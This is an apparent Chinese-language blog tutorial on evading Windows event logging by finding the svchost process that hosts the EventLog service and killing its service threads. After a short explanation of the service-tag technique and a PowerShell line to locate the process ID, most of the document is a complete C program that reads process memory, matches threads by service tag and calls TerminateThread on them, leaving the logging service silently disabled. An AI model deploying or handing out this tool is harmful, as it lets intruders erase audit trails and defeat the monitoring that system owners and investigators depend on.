基于线程结束的EventLog绕过

简介

通常windows系统本身会记录一些较为特殊的操作,如登录、注销,而实现这部分功能通常是由windows自生的服务实现,windows 系统服务主要由svchost.exe进程进行启动和管理,本文会介绍如何从操作系统中识别并结束EventLog的服务线程,从而绕过windows的日志记录。

流程

  1. 找到EventLog对应的进程

  2. 找到EventLog进程具体的服务线程

  3. 结束服务线程

原理

首先我们需要定位到EventLog服务对应的进程,使用windows的services.msc查看发现windows服务是由svchost指定-s(从选定组中加载该标志指定的服务)参数查询注册服务进行启动(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Parameters下的servicedll键值对),那我们可以通过遍历系统所有进程的commandline是否带有eventlog服务名来进行识别,主要实现方式由两种,通过进程快照遍历或通过调用wmi接口来识别。

对服务不了解的朋友可以看看这个

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

获取到进程号之后我们需要识别具体的服务线程,在windows vista之后的系统,具体的服务线程约定使用servicemain作为入口点,同时服务线程自身会带有一个等同于服务名的tag,这个tag可以帮我们识别这个线程是否是我们寻找的,在x64线程teb中0x1720偏移的位置存放着service tag的数字标识句柄(这玩意不是句柄),我们可以那这个数字标识使用I_QueryTagInformation api查询到具体service tag内容。

最后我们把识别出来的服务线程结束就好,因为转换成分派控制器的主线程依旧存在,所以进程本身并不会结束,这样就能很好的架空的日志服务。

代码

运行效果:

#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
#include <winternl.h>
#include <Tlhelp32.h>
#include <string.h>
#include <strsafe.h>
#pragma comment(lib, "ntdll.lib")
typedef long NTSTATUS;
/**/
typedef struct _THREAD_BASIC_INFORMATION
{
NTSTATUS exitStatus;
PVOID pTebBaseAddress;
CLIENT_ID clientId;
KAFFINITY AffinityMask;
int Priority;
int BasePriority;
int v;
} THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION;
typedef enum _SC_SERVICE_TAG_QUERY_TYPE
{
ServiceNameFromTagInformation = 1,
ServiceNameReferencingModuleInformation,
ServiceNameTagMappingInformation,
} SC_SERVICE_TAG_QUERY_TYPE, * PSC_SERVICE_TAG_QUERY_TYPE;
typedef struct _SC_SERVICE_TAG_QUERY
{
ULONG processId;
ULONG serviceTag;
ULONG reserved;
PVOID pBuffer;
} SC_SERVICE_TAG_QUERY, * PSC_SERVICE_TAG_QUERY;
typedef ULONG(WINAPI* pI_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
typedef NTSTATUS(WINAPI* pNtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
BOOL CheckEventProcess(DWORD ProcessId) {
BOOL result = 0;
PROCESS_BASIC_INFORMATION pbi = { 0 };
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessId);
if (!hProcess)
{
return false;
}
DWORD status = NtQueryInformationProcess(hProcess, (PROCESSINFOCLASS)0, &pbi, sizeof(PVOID) * 6, NULL);
PPEB ppeb = (PPEB)((PVOID*)&pbi)[1];
PEB pebdata = { 0 };
ReadProcessMemory(hProcess, ppeb, &pebdata, sizeof(PEB), NULL);
PRTL_USER_PROCESS_PARAMETERS prtlp = (&pebdata)->ProcessParameters;
RTL_USER_PROCESS_PARAMETERS rtlp = { 0 };
ReadProcessMemory(hProcess, prtlp, &rtlp, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL);
PWSTR lpBuffer = (PWSTR)(&rtlp)->CommandLine.Buffer;
USHORT len = (USHORT)(&rtlp)->CommandLine.Length;
LPWSTR lpStrings = (LPWSTR)malloc(len);
ZeroMemory(lpStrings, len);
ReadProcessMemory(hProcess, lpBuffer, lpStrings, len, NULL);
if (wcsstr(lpStrings, L"EventLog"))
{
result = true;
}
free(lpStrings);
return result;
}
DWORD GetEventLogProcessId() {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot)
{
return 0;
}
DWORD logpid = 0;
PROCESSENTRY32W pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32W);
BOOL bRet = Process32FirstW(hSnapshot, &pe32);
while (bRet)
{
if (CheckEventProcess(pe32.th32ProcessID))
{
logpid = pe32.th32ProcessID;
CloseHandle(hSnapshot);
return logpid;
}
bRet = Process32NextW(hSnapshot, &pe32);
}
CloseHandle(hSnapshot);
return 0;
}
BOOL CheckAndFuckEventProcess(DWORD processId, DWORD threadId, PULONG pServiceTag)
{
;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HANDLE hTag = NULL;
HMODULE advapi32 = NULL;
THREAD_BASIC_INFORMATION tbi = { 0 };
pI_QueryTagInformation I_QueryTagInformation = NULL;
pNtQueryInformationThread NtQueryInformationThread = NULL;
SC_SERVICE_TAG_QUERY tagQuery = { 0 };
WCHAR Buffer[MAX_PATH] = { 0 };
NtQueryInformationThread = (pNtQueryInformationThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationThread");
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
NtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS)0, &tbi, 0x30, NULL);//内存对齐
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
ReadProcessMemory(hProcess, ((PBYTE)tbi.pTebBaseAddress + 0x1720), &hTag, sizeof(HANDLE), NULL);
advapi32 = LoadLibrary(L"advapi32.dll");
I_QueryTagInformation = (pI_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");
tagQuery.processId = processId;
tagQuery.serviceTag = (ULONG)hTag;
I_QueryTagInformation(NULL, ServiceNameFromTagInformation, &tagQuery);
if (tagQuery.pBuffer != 0)
{
StringCbCopy(Buffer, MAX_PATH, (PCWSTR)tagQuery.pBuffer);
}
else
{
CloseHandle(hProcess);
CloseHandle(hThread);
FreeLibrary(advapi32);
return 0;
}
if (!wcscmp(Buffer, L"EventLog"))
{
TerminateThread(hThread,0);
wprintf((WCHAR*)L"%d %s\n", threadId, Buffer);
}
LocalFree(tagQuery.pBuffer);
CloseHandle(hProcess);
CloseHandle(hThread);
FreeLibrary(advapi32);
return 1;
}
int main() {
DWORD dwPid;
dwPid = GetEventLogProcessId();
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == hSnapshot)
{
return 0;
}
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(THREADENTRY32);
BOOL bRet = Thread32First(hSnapshot, &te32);
while (bRet)
{
if (te32.th32OwnerProcessID == dwPid)
{
CheckAndFuckEventProcess(dwPid, te32.th32ThreadID, NULL);
}
bRet = Thread32Next(hSnapshot, &te32);
}
CloseHandle(hSnapshot);
return 0;
}

LINKS